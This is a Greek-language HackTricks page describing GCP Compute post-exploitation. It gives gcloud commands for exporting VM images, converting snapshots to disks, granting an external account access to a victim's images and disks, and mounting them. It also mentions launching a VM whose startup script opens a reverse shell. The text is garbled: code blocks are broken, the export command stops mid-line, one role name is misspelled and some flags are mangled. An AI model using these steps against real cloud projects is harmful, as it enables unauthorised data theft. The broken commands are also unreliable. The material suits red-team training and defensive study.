GCP - Compute Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Compute
Για περισσότερες πληροφορίες σχετικά με το Compute και το VPC (Δικτύωση) δείτε:
Export & Inspect Images locally
Αυτό θα επέτρεπε σε έναν επιτιθέμενο να προσπελάσει τα δεδομένα που περιέχονται σε ήδη υπάρχουσες εικόνες ή να δημιουργήσει νέες εικόνες από τρέχοντα VMs και να έχει πρόσβαση στα δεδομένα τους χωρίς να έχει πρόσβαση στο τρέχον VM.
Είναι δυνατή η εξαγωγή μιας εικόνας VM σε ένα bucket και στη συνέχεια η λήψη της και η τοπική προσάρτησή της με την εντολή:
Εξαγωγή και λήψη εικόνας VM
```bash gcloud compute images export --destination-uri gs://Για να εκτελέσει αυτή τη δράση ο επιτιθέμενος μπορεί να χρειαστεί δικαιώματα πάνω στο storage bucket και σίγουρα δικαιώματα πάνω στο cloudbuild καθώς αυτή είναι η υπηρεσία που θα κληθεί να πραγματοποιήσει το export
Επιπλέον, για να λειτουργήσει αυτό το codebuild SA και το compute SA χρειάζονται προνομιούχα δικαιώματα.
Το cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com χρειάζεται:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Και το SA <project-id>-compute@developer.gserviceaccount.com χρειάζεται:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
Δεν είναι δυνατό να εξαχθούν άμεσα snapshots και disks, αλλά είναι δυνατό να μετατρέψεις ένα snapshot σε disk, ένα disk σε image και, ακολουθώντας την προηγούμενη ενότητα, να εξάγεις αυτό το image για να το επιθεωρήσεις τοπικά
Δημιουργία disk από snapshot και image από disk
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Επιθεώρηση ενός Image δημιουργώντας ένα VM
Με στόχο την πρόσβαση στα **data stored in an image** ή μέσα σε ένα **running VM** από όπου ένας επιτιθέμενος **has created an image,** είναι δυνατό να χορηγηθεί σε έναν εξωτερικό λογαριασμό πρόσβαση στο image:
<details>
<summary>Παροχή πρόσβασης στο image και δημιουργία VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
και στη συνέχεια δημιουργήστε μια νέα VM από αυτήν:
Δημιουργήστε VM instance από image
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Αν δεν μπορείτε να δώσετε στον εξωτερικό σας account πρόσβαση στο image, μπορείτε να ξεκινήσετε ένα VM χρησιμοποιώντας αυτό το image στο project του θύματος και να κάνετε τη metadata να εκτελέσει ένα reverse shell για να αποκτήσετε πρόσβαση στο image προσθέτοντας το param:
Δημιουργία VM με reverse shell στη metadata
```bash --metadata startup-script='#! /bin/bash echo "hello";Επιθεώρηση ενός Snapshot/Disk προσαρτώντας το σε ένα VM
Με στόχο την πρόσβαση στα δεδομένα που είναι αποθηκευμένα σε έναν disk ή σε ένα snapshot, μπορείτε να μετατρέψετε το snapshot σε disk, έναν disk σε image και να ακολουθήσετε τα προηγούμενα βήματα.
Εναλλακτικά, μπορείτε να παραχωρήσετε σε έναν εξωτερικό λογαριασμό πρόσβαση στον disk (εάν το σημείο εκκίνησης είναι ένα snapshot, δώστε πρόσβαση στο snapshot ή δημιουργήστε από αυτό έναν disk):
Παραχώρηση πρόσβασης στο disk
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Συνδέστε τον δίσκο σε ένα instance:
Συνδέστε τον δίσκο σε ένα instance
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Προσαρτήστε το disk μέσα στο VM:
- SSH στο VM:
SSH στο VM και mount disk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Εντοπίστε το disk: Μόλις μπείτε στο VM, εντοπίστε το νέο disk προβάλλοντας τις συσκευές δίσκου. Συνήθως θα το δείτε ως
/dev/sdb,/dev/sdc, κ.λπ. - Format και Mount του disk (αν είναι νέο ή raw disk):
- Δημιουργήστε ένα mount point:
Δημιουργήστε mount point και προσαρτήστε
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Προσαρτήστε το disk:
Mount της συσκευής disk
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Εάν δεν μπορείτε να δώσετε πρόσβαση σε ένα external project στο snapshot ή disk, ίσως χρειαστεί να perform αυτές τις ενέργειες μέσα σε ένα instance στο ίδιο project με το snapshot/disk.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

